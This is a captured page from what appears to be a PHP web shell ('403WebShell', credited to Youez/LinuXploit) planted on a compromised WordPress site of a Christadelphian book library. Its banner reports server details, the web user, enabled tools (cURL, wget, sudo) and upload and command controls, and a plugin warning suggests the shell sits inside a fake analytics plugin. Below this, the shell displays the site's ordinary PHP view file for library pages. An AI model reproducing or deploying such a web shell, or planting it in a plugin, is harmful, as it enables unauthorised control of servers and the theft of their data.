Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_books/_oldcore/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_books/_oldcore/views/main_view.php
<?php

class main_view extends View {

	public function render_homepage($data) {
		$res = '';
		foreach($data as $id => $itemdata) {
			$desc = isset($itemdata['desc']) ? $itemdata['desc'] : '';
			$count = isset($itemdata['count']) ? $itemdata['count'] : 0;
			if ($desc != '') {
				$det = (!$count) ? '' : "&nbsp; <a href=\"/main/group/$id\">show titles...</a>";		
				$res .= "<tr><td width=\"30\"></td><td width=\"200\">$desc:</td><td align=\"right\">$count</td><td>$det</td></tr>\n";
			}
		}
		return <<<BLOCK
   <img src="/img/image1.jpg" width="439" height="250"><br>
<h2>Read a Book Today</h2>
<p>The library at Stoughton has a range of Christadelphian books
for loan or for sale. There is also a small number of interesting
non-Christadelphian books available.</p>
<table border="0">
$res</table>
BLOCK;

	}
	
	public function render_books_in_group($data) {
		$output = '';
		$i = 0;
		foreach ($data as $key => $node) {
			$desc = $node[0];
			$app = ' ';
			if ($node[1]) $app .= '&#8224;';
			if ($node[2]) $app .= "<a href=\"/image/fullsize/$key\">&#8962;</a>";
			
			$j = $i % 2; $i++;
			if ($app == ' ') $app = '';
			$line = "<td><a href=\"/main/title/$key\">$desc</a>$app</td>";
			$output .= "<tr class=\"r$j\">$line</tr>\n";
		}
		
		return <<<BLOCK
	
<table border="0" cellspacing="0" cellpadding="2" width="95%">
$output
</table>
BLOCK;

	}
	
	public function render_selecttitle($webform) {
		global $THIS_URL, $VARIABLE;
$VARIABLE['javascript'] .= <<<BLOCK
function keydown(e) {
	var key = e? e.which: window.event.keyCode;
	if (key == 32 || key == 13) {
		document.f.submit();
		return false;
	}
	return true;
}

document.onkeypress = keydown;
BLOCK;
		$html = $webform->AsHTML();
		$intro = '';
		return <<<BLOCK
<p>$intro</p>
<form method="get" action="$THIS_URL" name="mainform"><table border="0">
$html
</table></form>
BLOCK;

	}

	public function render_africa($cardnum) {
		$cards = array(	1 => 'card_woman.jpg',
					2 => 'card_plant.jpg',
					3 => 'card_giraffe.jpg',
					4 => 'card_pawprint.jpg',
					5 => 'card_zebra.jpg');

		if (isset($cards[$cardnum])) {
			return <<<BLOCK
<html>
<body><img src="/img/{$cards[$cardnum]}"></body>
</html>
BLOCK;
		}	
		return <<<BLOCK
<table border="0" width="500">
<tr>
<td align="left"><a href="?a=1" target="_blank"><img src="/img/thumb_woman.jpg"></a></td>
<td align="center"><a href="?a=2" target="_blank"><img src="/img/thumb_plant.jpg"></a></td>
<td align="right"><a href="?a=3" target="_blank"><img src="/img/thumb_giraffe.jpg"></a></td>
</tr>
</table>

<table border="0" width="500">
<tr>
<td align="center"><a href="?a=4" target="_blank"><img src="/img/thumb_pawprint.jpg"></a></td>
<td align="center"><a href="?a=5" target="_blank"><img src="/img/thumb_zebra.jpg"></a></td>
</tr>
<tr><td colspan="2" align="center"><font size="4">5 Great Designs</font><br>$2 each, or $8 pack of 5</td></tr>
</table>
BLOCK;
	}
	
	public function render_contact($webform) {
		global $THIS_URL;
		$webform->AddSubmit('s', ' send message ');
		$html = $webform->AsHTML();
		return <<<BLOCK
<p>There are several ways to contact us:</p>

<form method="post" action="$THIS_URL" name="mainform">
<dl class="icons">
  <dt><img src="/img/icon_phone.png" alt="Phone" width="36" height="36"/></dt>
  <dd>+1 508 265 3127 (Eastern)</dd>
  <dt><img src="/img/icon_email.png" alt="email" width="36" height="36"/></dt>
  <dd><script type="text/javascript"> antispam('hopeinstoughton.org', 'books')</script></dd>
  <dt><img src="/img/icon_form.png" alt="Online" width="36" height="36"/></dt>
  <dd><table border="0">
$html
</table></form>
</dd>
 </dl></form>

<p>Hours of Operation:  5am to 11pm</p> 
<noscript>&nbsp; You will need to enable Javascript to view email addresses on this site.
</noscript></p>
<br><br><br><br><br><br><br><br><br><br>
BLOCK;
	}
	
	public function render_thankyou($type) {
		if ($type == '12') {
			return <<<BLOCK
<p>Thank you for your request. We aim to get back to you as soon as possible.  To 
ensure you receive a response, please add <b>books@hopeinstoughton.org</b> to your 
Address Book, or Whitelist.</p>
<br><br><br><br><br><br><br><br><br><br>
BLOCK;
		}
		if ($type == '') {
			return <<<BLOCK
<p>Thank you for your comments.  If you have provided us with an email address, we will
get back to you as soon as possible.  To ensure you receive a response, please add
<b>books@hopeinstoughton.org</b> to your Address Book, or Whitelist.</p>
<br><br><br><br><br><br><br><br><br><br>

BLOCK;
		}
	}
	
	public function render_search($webform, $searchresults) {
		global $THIS_URL;
		
		$webform->AddSubmit('s', ' search for a book ');
		$html = $webform->AsHTML();
		if ($searchresults == '') {
			$searchresults = '<br><br><br><br><br><br><br>';
		} else {
			$searchresults = <<<BLOCK
<hr>
<table border="0" width="100%">
$searchresults
</table>
BLOCK;
		}
	
		return <<<BLOCK
<p>Please enter key word(s) or select an author:</p>
<form method="post" action="$THIS_URL" name="mainform"><table border="0">
$html
</table></form>
<p>*Words in keyword search must be at least 4 letters</p>
$searchresults

BLOCK;
	}
	
	public function render_request($webform) {
		global $THIS_URL;
		$webform->AddSubmit('s', ' send request ');
		$html = $webform->AsHTML();
		return <<<BLOCK
<p>This page will allow you to reserve a book that is currently out on loan or to purchase a book. Whether it is in stock, or not, we will do our best to locate a copy.</p>
<form method="post" action="$THIS_URL" name="mainform"><table border="0">
$html
</table></form>
<p>If you are intending to purchase the book, we will confirm pricing with you first. Some books are out of print &mdash; a second-hand copy may be all that is available.</p>
<p>Delivery times are normally two to three weeks.</p>

<br><br><br><br><br><br><br><br>

BLOCK;
	}
	
	public function render_thumbnail($id, &$data) {
		$cover = isset($data['bt_cover']) ?  $data['bt_cover'] : '';
		if ($cover != '') {
			$dim = unserialize($data['bt_dim']);
			$wd = intval($dim['wd'] / 2); $ht = intval($dim['ht'] / 2);
			$wd2 = $wd + 10;
			return <<<BLOCK
<td width="$wd2" style="text-align: center; vertical-align: middle;">
<a href="/image/fullsize/$id"><img src="/image/thumbnail/$id" width="$wd" height="$ht" alt="cover" border="0"></a>
</td>

BLOCK;
		}	
		return '';
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit